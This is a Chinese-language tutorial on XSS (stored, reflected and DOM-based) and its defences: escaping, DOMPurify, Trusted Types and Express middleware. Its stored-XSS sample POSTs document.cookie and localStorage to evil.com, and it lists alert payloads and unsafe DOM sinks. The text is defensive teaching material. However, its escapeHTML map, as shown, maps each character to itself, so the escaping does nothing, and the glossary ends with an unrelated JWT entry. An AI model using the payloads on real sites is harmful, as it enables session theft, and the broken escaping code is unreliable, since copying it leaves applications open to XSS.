XSS 攻击与防御
概述
2011年,著名社交网站Twitter爆发了一次大规模的XSS蠕虫攻击。用户访问带有恶意代码的推文后,代码会自动执行并传播——点击转发按钮的用户,恶意代码就会被植入他们发布的推文中。这次攻击在数小时内影响了数十万用户。
XSS(Cross-Site Scripting,跨站脚本攻击)之所以如此命名,是因为攻击者的恶意脚本"跨越"了站点边界,在一个网站上执行了来自另一个网站的代码。XSS之所以成为Web安全的最主要威胁之一,是因为它利用了Web应用最核心的功能——动态内容生成——来实现攻击。
从工程角度看,XSS的危害之所以巨大,是因为它突破了浏览器的同源策略。浏览器的同源策略本应阻止一个域名的脚本访问另一个域名的数据,但XSS攻击让攻击者的代码"寄生"在受信任的域名下,从而获得了访问该域名下所有资源的权限——包括Cookie、本地存储、DOM数据,甚至用户的认证令牌。
本节将系统讲解XSS攻击的三种类型:存储型、反射型和DOM型,深入分析攻击向量和防御策略。我们将探讨如何通过输入验证、输出转义、内容安全策略(CSP)以及现代浏览器特性(如Trusted Types)构建纵深防御体系。
目标
- 深入理解三种XSS攻击类型的攻击原理和区别
- 掌握不同上下文(HTML、JavaScript、URL、CSS)下的转义策略
- 熟练使用DOMPurify进行富文本净化
- 理解CSP的工作原理和部署策略
- 了解Trusted Types及其在DOM XSS防护中的应用
知识体系
1. XSS 攻击类型
理解XSS攻击的分类,不仅是学术知识,更是设计防御策略的基础。三种XSS类型的区别在于恶意代码的注入方式和传播路径。
存储型 XSS(Stored XSS)
存储型XSS是最危险的XSS类型。恶意脚本被永久存储在目标服务器上,通常是数据库,但也可以是论坛帖子、用户评论、商品评价等任何能持久存储用户输入的地方。当其他用户访问包含恶意内容的页面时,脚本自动执行。
这种攻击的可怕之处在于它的自动传播性。攻击者只需要成功注入一次,恶意代码就会自动感染每一个访问该页面的用户。不需要用户点击任何链接,不需要用户进行任何交互,访问即中招。这正是Twitter蠕虫能够如此迅速扩散的技术原因。
// 攻击场景:论坛评论
// 攻击者提交的评论内容:
const maliciousComment = `
Great article!
<script>
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
url: location.href,
}),
});
</script>
`;
// 如果服务端未过滤,直接存入数据库
// 其他用户浏览该评论时,恶意脚本自动执行
存储型XSS的典型攻击场景包括:
- 用户评论区:攻击者在论坛、博客、社交网站发表带有恶意脚本的评论
- 商品评价:电商平台的用户评价区域
- 私信功能:如果私信内容被存储且未净化
- 个人信息:如用户填写的"个人简介"字段
反射型 XSS(Reflected XSS)
反射型XSS的恶意脚本不存储在服务器上,而是通过URL参数传递给服务器,服务器"反射"(即将参数未经处理地包含在响应中)给浏览器执行。
常见的攻击场景是搜索功能:用户输入的搜索词被URL参数携带,服务端将搜索词原样返回显示在结果页面。如果搜索词是恶意脚本,它就会被执行。
// 攻击 URL:
// https://example.com/search?q=<script>alert('XSS')</script>
// 服务端不安全的搜索页面:
app.get('/search', (req, res) => {
const query = req.query.q;
// ❌ 直接将用户输入插入 HTML
res.send(`<h1>Search results for: ${query}</h1>`);
});
与存储型XSS不同,反射型XSS需要诱导用户点击恶意构造的URL。这通常通过钓鱼邮件、社交工程或即时通讯中的链接实现。攻击者会构造具有说服力的URL,如使用URL短链接掩盖恶意参数,或者将恶意脚本编码在URL中使其看起来不那么明显。
攻击的一个变体是利用JavaScript解析URL的特性。例如,https://example.com/#<img src=x onerror=alert('XSS')>中的锚点部分(#后的内容)不会发送到服务器,但JavaScript可以通过location.hash访问。攻击者可能利用这种特性绕过服务器端的过滤。
DOM 型 XSS(DOM-based XSS)
DOM型XSS完全在客户端执行,完全不涉及服务端。恶意代码通过URL参数或任何可动态修改DOM的方式注入,由客户端JavaScript执行。
这种攻击的关键是页面客户端JavaScript的不安全操作。常见的危险操作包括使用innerHTML、outerHTML、insertAdjacentHTML插入HTML内容,或者使用document.write、eval、setTimeout等执行字符串代码。
// 攻击 URL:
// https://example.com/page#<img src=x onerror=alert('XSS')>
// ❌ 不安全的客户端代码
const hash = location.hash.substring(1);
document.getElementById('content').innerHTML = decodeURIComponent(hash);
// ❌ 更多危险的 DOM 操作
document.write(userInput);
element.innerHTML = userInput;
element.outerHTML = userInput;
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);
setTimeout(userInput, 0);
new Function(userInput)();
DOM型XSS的特殊之处在于它完全在客户端进行恶意代码注入,服务器端日志和防护措施完全看不到攻击。这意味着传统的服务端WAF无法检测DOM型XSS,防护必须在前端代码层面实现。
另一个需要注意的点是Web Worker的安全性问题。Web Worker中可以使用importScripts加载外部脚本,如果Worker的URL可以通过URL参数控制,攻击者可能利用这个向量注入恶意代码。
2. 输出转义策略
XSS防御的核心原则是不要相信任何用户输入。无论数据来自表单提交、URL参数、API响应还是服务端存储,在输出到HTML、JavaScript、URL、CSS等不同上下文时,都需要进行相应的转义处理。
转义的本质是将特殊字符转换为安全的形式。例如,在HTML上下文中,字符<应该转换为<,这样浏览器会将其解析为普通文本而非标签的开始。
HTML 上下文转义
HTML上下文是最常见的XSS注入点。当用户输入需要作为文本内容显示在HTML中时,需要对HTML特殊字符进行转义。
// HTML 实体编码
function escapeHTML(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/',
};
return str.replace(/[&<>"'/]/g, (char) => map[char]);
}
// ✅ 在 HTML 内容中使用
const safeHTML = `<div>${escapeHTML(userInput)}</div>`;
// ✅ 在 HTML 属性中使用
const safeAttr = `<input value="${escapeHTML(userInput)}" />`;
需要特别注意的是,在HTML属性中转义时,双引号和单引号也需要转义,因为攻击者可能通过闭合属性来注入脚本。例如,<input value="{userInput}">中,如果userInput是" onfocus="alert('XSS'),结果就变成了<input value="" onfocus="alert('XSS')">。
JavaScript 上下文转义
当用户输入需要嵌入JavaScript字符串时,需要进行JavaScript级别的转义。使用JSON.stringify是最安全的方式,它会正确处理特殊字符并添加必要的引号。
// ❌ 不安全:将用户输入嵌入 JavaScript
const script = `<script>var data = "${userInput}";</script>`;
// 如果 userInput 是 `"; alert('XSS'); //`
// 结果:<script>var data = ""; alert('XSS'); //";</script>
// ✅ 使用 JSON.stringify 进行安全的数据传递
const safeScript = `<script>var data = ${JSON.stringify(userInput)};</script>`;
// ✅ 更好:使用 data 属性传递
const safeDataAttr = `<div id="app" data-config='${escapeHTML(JSON.stringify(config))}'></div>`;
URL 上下文转义
URL参数中的用户输入需要特别注意。攻击者可能尝试注入javascript:协议或其他危险协议。
// ❌ 不安全:直接使用用户输入构建链接
const link = `<a href="${userInput}">Click</a>`;
// 攻击:userInput = "javascript:alert('XSS')"
// ✅ URL 协议校验
function sanitizeURL(url) {
try {
const parsed = new URL(url);
if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
return '#';
}
return parsed.href;
} catch {
return '#';
}
}
const safeLink = `<a href="${escapeHTML(sanitizeURL(userInput))}">Click</a>`;
URL校验不仅要在前端进行,服务端也必须校验。攻击者可以构造恶意URL直接调用服务端API,绕过前端的URL校验逻辑。
CSS 上下文转义
CSS中也可以注入脚本。早期浏览器曾允许在CSS中使用expression()执行JavaScript,现代浏览器已禁用,但通过CSS注入攻击的可能性仍然存在。
/* 危险的 CSS 表达式(旧版 IE) */
div {
width: expression(alert('XSS'));
}
/* CSS 中的 URL 注入 */
div {
background: url('javascript:alert("XSS")');
}
对于富文本编辑器等需要保留一定HTML的场景,应该使用DOMPurify等专业净化库,而非自行实现转义逻辑。
3. React 中的 XSS 防御
React框架在XSS防护方面做了大量工作。默认情况下,React的JSX表达式会对内容进行转义,这使得常见的XSS攻击向量难以生效。
// React 默认对 JSX 表达式进行转义
function SafeComponent({ userInput }) {
// ✅ 安全:React 自动转义
return <div>{userInput}</div>;
// 即使 userInput = "<script>alert('XSS')</script>"
// 渲染为文本,不会执行
}
// ❌ dangerouslySetInnerHTML 绕过 React 的 XSS 防御
function UnsafeComponent({ htmlContent }) {
// ⚠️ 仅在内容来源可信时使用
return <div dangerouslySetInnerHTML={{ __html: htmlContent }} />;
}
React的自动转义意味着即使你忘记对用户输入进行转义,React也会帮你处理。但dangerouslySetInnerHTML是一个需要注意的例外——它直接设置innerHTML,绕过了React的防护。
对于需要渲染富文本的场景,应该使用DOMPurify对HTML进行净化。DOMPurify会解析HTML,移除所有危险标签和属性,返回安全的HTML片段。
// ✅ 使用 DOMPurify 净化不可信的 HTML
import DOMPurify from 'dompurify';
function SafeHTMLComponent({ htmlContent }) {
const clean = DOMPurify.sanitize(htmlContent, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'li'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
ALLOW_DATA_ATTR: false,
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// ❌ 危险的 href 值
function UnsafeLink({ url }) {
return <a href={url}>Click</a>;
// url = "javascript:alert('XSS')" 仍然会执行
}
// ✅ 校验 URL 协议
function SafeLink({ url, children }) {
const safeUrl = sanitizeURL(url);
return (
<a href={safeUrl} rel="noopener noreferrer">
{children}
</a>
);
}
4. DOMPurify 深度配置
DOMPurify是前端富文本净化的行业标准。它采用白名单方式,只允许特定的标签和属性通过,所有其他内容都会被移除或转义。
DOMPurify的配置需要根据业务场景定制。过于宽松的配置可能留下安全隐患,过于严格的配置可能影响功能。
import DOMPurify from 'dompurify';
// 创建自定义配置
const purify = DOMPurify;
// 基础配置
const cleanHTML = purify.sanitize(dirty, {
USE_PROFILES: { html: true },
ALLOWED_TAGS: ['h1', 'h2', 'h3', 'p', 'a', 'img', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'class'],
FORBID_TAGS: ['script', 'style', 'iframe'],
FORBID_ATTR: ['onclick', 'onerror', 'onload'],
ADD_TAGS: ['custom-element'],
ADD_ATTR: ['data-id'],
});
// Hook:自定义处理
purify.addHook('afterSanitizeAttributes', (node) => {
// 为所有链接添加安全属性
if (node.tagName === 'A') {
node.setAttribute('rel', 'noopener noreferrer');
node.setAttribute('target', '_blank');
}
// 移除危险的 src
if (node.hasAttribute('src')) {
const src = node.getAttribute('src');
if (!src.startsWith('https://')) {
node.removeAttribute('src');
}
}
});
DOMPurify的Hook机制允许在净化过程的不同阶段介入。对于高安全要求的场景,可以实现自定义的标签和属性检查逻辑。
5. Trusted Types
Trusted Types是浏览器原生的DOM XSS防护机制。与其让开发者手动转义所有用户输入,Trusted Types要求将任何可能被作为HTML或脚本执行的数据封装为可信类型对象,只有显式创建的可信类型对象才能赋值给危险DOM属性。
启用Trusted Types后,以下代码会抛出错误:
// 没有 Trusted Types 时,以下代码可能造成 XSS
element.innerHTML = untrustedData;
// 启用 Trusted Types 后,必须先创建可信类型
element.innerHTML = policy.createHTML(untrustedData);
// Trusted Types 在浏览器层面阻止 DOM XSS
// 通过 CSP 启用:
// Content-Security-Policy: require-trusted-types-for 'script'
// 创建 Trusted Types 策略
if (window.trustedTypes) {
const policy = trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input),
createScript: (input) => {
throw new Error('Script creation is not allowed');
},
createScriptURL: (input) => {
const url = new URL(input, location.origin);
if (url.origin === location.origin) return url.href;
throw new Error('Untrusted script URL');
},
});
// 使用策略
element.innerHTML = policy.createHTML(untrustedHTML);
}
Trusted Types的优势在于将XSS防护从"检查代码"转变为"强制执行"。无论开发者是否忘记转义,只要数据没有经过可信类型策略处理,浏览器就会拒绝执行。从安全角度看,这类似于类型系统在防止类型错误方面的作用——在编译时而不是运行时发现问题。
6. 服务端防御
虽然XSS主要在前端执行,但服务端是防御存储型XSS的关键前线。如果服务端正确净化了所有用户输入,存储型XSS就无法成立。
Express中可以使用helmet中间件设置安全响应头,使用xss-middleware进行请求参数净化。
// Express 中间件示例
import helmet from 'helmet';
import xss from 'xss';
const app = express();
// 设置安全响应头
app.use(helmet());
// XSS 过滤中间件
function xssFilter(req, res, next) {
// 清理请求参数
for (const key of Object.keys(req.query)) {
if (typeof req.query[key] === 'string') {
req.query[key] = xss(req.query[key]);
}
}
// 清理请求体
if (req.body && typeof req.body === 'object') {
req.body = sanitizeObject(req.body);
}
next();
}
function sanitizeObject(obj) {
const result = {};
for (const [key, value] of Object.entries(obj)) {
if (typeof value === 'string') {
result[key] = xss(value);
} else if (typeof value === 'object' && value !== null) {
result[key] = sanitizeObject(value);
} else {
result[key] = value;
}
}
return result;
}
app.use(xssFilter);
服务端的净化处理不能替代前端的净化处理。服务端净化是为了保护存储和防止服务端反射XSS,前端净化是为了保护客户端DOM XSS。两者缺一不可,组成纵深防御。
7. XSS 防御清单
XSS防御不是单一措施,而是一整套纵深防御体系。每层防御都有其局限性,但多层叠加可以显著降低攻击成功的可能性。
XSS 防御多层策略:
第一层:输入验证
├── 白名单校验输入格式
├── 限制输入长度
└── 拒绝明显的恶意输入
第二层:输出转义
├── HTML 上下文 → HTML 实体编码
├── JavaScript 上下文 → JSON.stringify
├── URL 上下文 → 协议校验 + encodeURIComponent
└── CSS 上下文 → CSS 转义
第三层:框架防御
├── React JSX 自动转义
├── DOMPurify 净化富文本
└── 避免 dangerouslySetInnerHTML
第四层:浏览器防御
├── CSP(Content Security Policy)
├── Trusted Types
├── HttpOnly Cookie
└── X-Content-Type-Options: nosniff
需要强调的是,输出转义是防御XSS的核心。输入验证可以作为辅助手段(过滤明显恶意的输入),但攻击者总能找到办法绕过验证。转义则是在任何情况下都必须正确执行的安全措施——无论输入看起来是否"正常",输出时都必须转义。
实战练习
练习 1:XSS 漏洞挖掘
在提供的练习应用中找出所有XSS漏洞(存储型、反射型、DOM型),并逐一修复。练习重点:理解不同类型XSS的攻击向量,熟练使用转义函数,识别常见的安全漏洞模式。
练习 2:富文本编辑器安全
实现一个安全的富文本展示组件,使用DOMPurify配置白名单,允许安全的HTML标签(加粗、斜体、链接、图片)同时阻止所有XSS向量。思考:如何平衡功能性和安全性?
练习 3:Trusted Types 集成
在现有项目中启用Trusted Types,处理所有违规报告并修复。理解Trusted Types与现有防护机制的关系,评估迁移成本和收益。
延展阅读
- OWASP XSS Prevention Cheat Sheet:XSS防御的权威指南,详细说明了各上下文的转义规则。
- DOMPurify GitHub:前端HTML净化库,提供详细文档和使用示例。
- Trusted Types - web.dev:Google开发的Trusted Types教程,解释其原理和使用方法。
- XSS Game:Google的XSS练习平台,通过闯关形式学习XSS攻击和防御。
关键术语
| 术语 | 解释 |
|---|---|
| XSS | Cross-Site Scripting,跨站脚本攻击,通过注入恶意脚本的攻击方式 |
| Stored XSS | 存储型XSS,恶意脚本持久化存储在服务端 |
| Reflected XSS | 反射型XSS,恶意脚本通过URL参数注入,由服务端反射 |
| DOM-based XSS | DOM型XSS,完全在客户端执行,不经过服务端 |
| HTML Entity Encoding | HTML实体编码,将特殊字符转为安全实体 |
| DOMPurify | 流行的前端HTML净化库,采用白名单方式 |
| Trusted Types | 浏览器API,在DOM层面强制执行XSS防护 |
| Sanitization | 净化,清除输入中的恶意内容 |
| CSP | Content Security Policy,内容安全策略,控制资源加载 |
| Algorithm Confusion | 算法混淆攻击,篡改JWT算法声明的安全漏洞 |